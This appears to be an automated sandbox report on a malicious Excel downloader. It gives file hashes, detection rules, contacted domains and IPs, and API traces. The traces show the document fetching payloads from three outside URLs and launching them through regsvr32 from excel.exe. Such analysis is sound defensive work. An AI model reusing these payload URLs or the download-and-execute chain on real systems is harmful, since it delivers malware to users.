popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

doc-165613473.xls

Downloader MSOffice File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 8, 2021, 12:09 p.m. Oct. 8, 2021, 12:13 p.m.
Size 235.0KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Thu Oct 7 14:49:32 2021, Security: 0
MD5 e9c12db7ee30e5ffc7d11ddbe09c0884
SHA256 d12e212a0aced3b07412a04a05c5e89973a50bdef8685ad004af82b3eb2722d0
CRC32 6A71D81D
ssdeep 6144:HKpb8rGYrMPe3q7Q0XV5xtuEsi8/dg99HW3cZZRprq15Obr4vO8PDklovS3WHA7I:49HVTrmkbr4vLDa3/Lvf/1eulBe
Yara
  • Microsoft_Office_File_Zero - Microsoft Office File
  • Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader

Name Response Post-Analysis Lookup
pinakidigital.com
A 173.237.137.58
173.237.137.58
laresumeservice.com
A 192.254.186.229
192.254.186.229
medicahealthy.net
A 68.183.0.160
68.183.0.160
IP Address Status Action
164.124.101.2 Active Moloch
173.237.137.58 Active Moloch
192.254.186.229 Active Moloch
68.183.0.160 Active Moloch

request GET http://pinakidigital.com/vNlUFyxQUW/estima.html
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6bf98000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b312000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2860
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2820
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0
cmdline regsvr32 C:\Datop\test.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline regsvr32 C:\Datop\test1.test
cmdline regsvr32 C:\Datop\test2.test
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: https://laresumeservice.com/cymxrDQLGo9i/estimate.html
stack_pivoted: 0
filepath_r: C:\Datop\test.test
filepath: C:\Datop\test.test
2148270085 0

URLDownloadToFileW

 url: https://medicahealthy.net/HZHWZYIq/estimat.html
stack_pivoted: 0
filepath_r: C:\Datop\test1.test
filepath: C:\Datop\test1.test
2148270085 0

URLDownloadToFileW

 url: http://pinakidigital.com/vNlUFyxQUW/estima.html
stack_pivoted: 0
filepath_r: C:\Datop\test2.test
filepath: C:\Datop\test2.test
1 0 0
parent_process excel.exe martian_process regsvr32 C:\Datop\test.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test1.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test2.test
file C:\Windows\System32\regsvr32.exe